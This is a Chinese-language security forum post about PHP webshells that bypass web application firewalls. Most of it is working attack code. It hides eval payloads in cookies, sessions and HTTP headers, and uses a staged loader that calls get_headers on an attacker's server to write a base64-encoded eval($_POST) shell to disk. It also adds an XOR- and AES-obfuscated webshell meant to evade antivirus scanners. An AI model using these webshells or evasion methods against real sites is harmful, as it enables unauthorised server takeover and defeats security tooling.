|
本帖最后由 PEnticE 于 2022-7-23 20:53 编辑
PHP利用某些函数bypass waf探讨 (qq.com)
前言:前几天写了一篇文章,由黑到白 这篇文章中用到echo的一个特性去一步一步写马

看师傅们的评论然后去研究了下原因 学到了很多
比如linux写shell少了
POST的原因和解决思路如下还有就是base64不存在的原因以及wget和nc为啥反弹不了的原因  也在这里发觉到了一个师傅说的一个问题点,
_POST 空格以及$这些字符都写不进去
也恰好看到了微信公众号里面有个师傅写了篇文章

链接如下
https://mp.weixin.qq.com/s/hRwYtDZ-dqqznhS3LdSxUA
里面提到了一个tips
利用get_headers绕过了waf 顿时引来了自己的兴趣,
因为目前的很多waf是基于post包和get包来拦截的
如果我把参数内容可控到header头里面不就能稳稳的过了嘛
就开始研究了下这种tips用于实战,发觉还是蛮有趣的这里分享给大家
正文原理的话:
个人理解的话感觉跟中转马有点像 这是这个可以突破的限制条件更多。
1.代码层次过滤了post以及get这种绕过蛮简单的 直接把参数去session
或者cookie中或者headers中即可绕过了
- #cookie传参
- <?php
- eval(base64_decode($_COOKIE["PHPSESSID"]));
- ?>
-
- #session传参
- <?php
- eval($_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]));
- ?>
复制代码

2.代码层过滤了$ _ POST GET内容思路方法1
利用getallheadrs去绕过
适用于php版本大于5.5以上的
- <p></p>
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" contenteditable="false" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="355" data-cke-widget-wrapper="1" role="region" tabindex="-1">
- <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%3C%3Fphp%5Cn%C2%A0%C2%A0session_start()%3B%5Cn%5Cneval(getallheaders()%5B'Demo'%5D)%3B%5Cn%5Cn%3F%3E%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"><?php
- session_start();
- eval(getallheaders()['Demo']);
- ?>
- </code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.1.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span></div>
- <p>5.5</p>
复制代码
以下的好像不存在这个函数

5.5以上的
思路方法2
利用get_headers 服务器内容如下
(后面的base64里面的可变成想要的如冰蝎的base64加密也可)
- <?php
- header('assert');
- header("file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+'))");
复制代码
马内容如下 适用于7.1以下
这个用的assert 如果要高版本适用的话直接指定eval和assert即可
- <?php
- $a=get_headers('http://服务器地址/1.php');
- $b=str_replace([':',' '],"",$a[6]);
- $x=str_replace([':',' '],"",$a[7]);
- $b($x);
- ?>
复制代码
- <?php
- $a=get_headers('http://服务器地址/1.php');
- $x=str_replace([':',' '],"",$a[7]);
- eval($x);
- ?>
复制代码
然后访问3.php即可成功创建shell.php

d盾查杀效果1这里没做免杀 想做静动态的免杀的话 其实也是可以的稍微改下即可
可以结合这个加密算法改进下即可
动态即可过
给大家抛砖引玉扔一个加密算法+shellcode静态免杀的
动态可过60跟这个改即可
这个是加密算法a.php
- <?php
- $key1 = '123456';
- $key = "password";
- $fun = $_GET['func'];
- for($i=0;$i<strlen($fun);$i++){
- $fun[$i] = $fun[$i]^$key[$i+1&7];
- }
- echo $fun;
- $encrypt = openssl_encrypt($fun, 'AES-128-ECB', $key1, 0);
- echo "加密后: ".$encrypt;
- ?>
复制代码
这个是shellcode的 shell.php
- <?php
- function b(){
- $x = "password";
- $key1 = '123456';
- $fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key1, 0);
- for($i=0;$i<strlen($fun);$i++){
- $z= $fun[$i] ;
- $fun[$i] =$z^$x[$i+1&7];
- }
- return $fun;
- }
- function a(){
- eval(b());
- }
- a();
复制代码


实战
结合追加的思路来组合打
一步一步写内容进去即可完成了
多次追加把内容写进去后
然后进行访问即获取到shell了

|
|